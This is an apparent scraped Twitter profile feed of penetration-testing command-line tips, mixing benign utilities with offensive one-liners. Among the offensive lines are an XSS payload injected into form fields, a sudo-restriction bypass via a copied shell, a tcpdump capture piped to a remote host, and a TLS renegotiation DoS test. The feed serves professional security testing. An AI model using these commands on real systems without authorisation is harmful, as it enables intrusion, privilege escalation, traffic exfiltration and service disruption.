Pentest CLI Fu (@pentestcli) profile picture

Command-Line Fu for Penetration Testers. One-liners that might save you some time breaking people's stuff. Suggestions to @pentestcli or @marcwickenden

Terminal
Joined November 2012
console> for (i=0;i<document.forms[0].elements.length;i++) { document.forms[0].elements[i].value='<script>alert('+i+')</script>'; } #testxss
8
17
Hacky quick and dirty HTTPS server: python -m SimpleHTTPServer & ncat --ssl -l 8443 --sh-exec "ncat 127.0.0.1 8000" --keep-open
1
85
96
Increment over string to generate fuzz list in #ruby: str = 'somestring'; a = ''; str.each_char {|b| a << b; puts a }
Avoiding sudo regex interactive restrictions: cp /bin/sh /tmp/foo; sudo /tmp/foo
1
Replying to @pentestcli
@pentestcli nc -lvp 9999 | tcpdump -XX -vvv -r - # Pass traffic FROM a raw tcp socket back into tcpdump for rendering/parsing
3
6
Replying to @pentestcli
@pentestcli tcpdump -w - | nc -v 8.8.8.8 9999 # sniff traffic with tcpdump and write raw capture data to a remote tcp socket
6
7
Replying to @pentestcli
@pentestcli wget example.com/file.txt -O - # Use wget to write to stdout instead of a file if CURL isn't available
Replying to @pentestcli
@pentestcli grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' # Basic regex for pulling IP addresses from a file or stdout
4
5
Pentest CLI Fu retweeted
Replying to @zyx2k
@zyx2k @pentestcli ps aux | grep [p]rocessname | sed s/’whoami’[^0-9]*// | cut -d “ “ -f 1 :)
1
1
Use irb to update a host in #msfconsole: `framework.db.report_host(:host=>"X.X.X.X",:info=>"Cool")` cc: @pentestcli @metasploit
1
2
Replying to @hdmoore
RT @hdmoore GNU sort can order input by IPv4 address using -V or --version-sort < This is awesome! CC @climagic @pentestcli
1
4
“@bonsaiviking: @pentestcli #Perl perl -e 'printf "%.8i\n", $_ for (0..99999999)'” < in perl too :-)
#ruby to print out all 8 digit numbers: ruby -e '(00000000..99999999).each {|x| puts "%.8i" % x}'
3
1
Make XML human-readable: xmllint --format --encode utf-8 document.xml
6
6
Replying to @pentestcli
@pentestcli ssh [email protected] "cat file.tar.gz" > file.tar.gz # transfer files through ssh when sftp is disabled
8
9
Pentest CLI Fu retweeted
Replying to @pentestcli
@pentestcli python -m "SimpleHTTPServer"
1
1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444 # internal port redirect to bypass services (cc. @pentestcli)
8
9
Quick test for SSL/TLS Renegotiation DoS - openssl s_client -connect ip:port | echo -e "HEAD / HTTP/1.0\r\nR" @pentestcli
4
5